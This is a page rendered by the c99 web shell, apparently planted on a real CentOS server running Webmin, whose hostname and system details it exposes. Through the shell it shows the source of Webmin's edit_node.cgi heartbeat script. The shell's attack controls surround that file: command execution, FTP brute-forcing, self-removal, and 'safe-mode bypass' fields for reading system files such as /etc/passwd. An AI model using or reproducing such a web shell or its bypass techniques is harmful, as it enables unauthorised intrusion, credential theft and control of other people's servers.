!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/heartbeat/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_node.cgi (2.94 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# edit_node.cgi
# Edit a node in the haresources file

require './heartbeat-lib.pl';
&ReadParse();
&foreign_require("init", "init-lib.pl");

if ($in{'new'}) {
    &ui_print_header(undef, $text{'node_create'}, "");
    }
else {
    &ui_print_header(undef, $text{'node_edit'}, "");
    @res = &list_resources();
    $res = $res[$in{'idx'}];
    }

print "<form action=save_node.cgi>\n";
print "<input type=hidden name=new value='$in{'new'}'>\n";
print "<input type=hidden name=idx value='$in{'idx'}'>\n";
print "<table border width=100%>\n";
print "<tr $tb> <td><b>$text{'node_header'}</b></td> </tr>\n";
print "<tr $cb> <td><table width=100%>\n";

print "<tr> <td><b>$text{'node_node'}</b></td>\n";
printf "<td><input name=node size=40 value='%s'></td> </tr>\n",
    $res->{'node'};

print "<tr> <td valign=top><b>$text{'node_ips'}</b></td>\n";
print "<td><table border width=100%>\n";
print "<tr $tb> <td><b>$text{'node_ip'}</b></td> ",
      "<td><b>$text{'node_cidr'}</b></td> ",
      "<td><b>$text{'node_broad'}</b></td> </tr>\n";
$i = 0;
foreach $a (@{$res->{'ips'}}, "") {
    local @a = split(/\//, $a);
    print "<tr $cb> <td><input name=ip_$i size=15 value='$a[0]'></td>\n";
    printf "<td><input type=radio name=cidr_def_$i value=1 %s> %s\n",
        $a[1] ? "" : "checked", $text{'default'};
    printf "<input type=radio name=cidr_def_$i value=0 %s>\n",
        $a[1] ? "checked" : "";
    print "<input name=cidr_$i size=4 value='$a[1]'></td>\n";
    printf "<td><input type=radio name=broad_def_$i value=1 %s> %s\n",
        $a[2] ? "" : "checked", $text{'default'};
    printf "<input type=radio name=broad_def_$i value=0 %s>\n",
        $a[2] ? "checked" : "";
    print "<input name=broad_$i size=15 value='$a[2]'></td> </tr>\n";
    $i++;
    }
print "</table></td> </tr>\n";

@acts = map { /^(\S+)/; $1 } &foreign_call("init", "list_actions");
opendir(DIR, $resource_d);
while($f = readdir(DIR)) {
    push(@acts, $f) if ($f !~ /^\./);
    }
closedir(DIR);
print "<tr> <td valign=top><b>$text{'node_servs'}</b></td>\n";
print "<td><table border width=100%>\n";
print "<tr $tb> <td><b>$text{'node_serv'}</b></td> ",
      "<td><b>$text{'node_args'}</b></td> </tr>\n";
$i = 0;
foreach $a (@{$res->{'servs'}}, "") {
    local @a = split(/::/, $a);
    print "<tr $cb> <td><select name=serv_$i>\n";
    printf "<option value='' %s>&nbsp;\n",
        $a[0] ? "" : "selected";
    local $found;
    foreach $s (@acts) {
        printf "<option %s>%s\n",
            $a[0] eq $s ? "selected" : "", $s;
        $found++ if ($a[0] eq $s);
        }
    if (!$found && $a[0]) {
        print "<option selected>$a[0]\n";
        }
    print "</select></td>\n";
    printf "<td><input name=args_$i size=40 value='%s'></td> </tr>\n",
        join(" ", @a[1..$#a]);
    $i++;
    }
print "</table></td> </tr>\n";

print "</table></td></tr></table>\n";
print "<table width=100%><tr>\n";
print "<td><input type=submit value='$text{'save'}'></td>\n";
print "<td align=right><input type=submit name=delete ",
      "value='$text{'delete'}'></td> </tr>\n";
print "</table>\n";

print "</form>\n";
&ui_print_footer("edit_res.cgi", $text{'res_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0118 ]--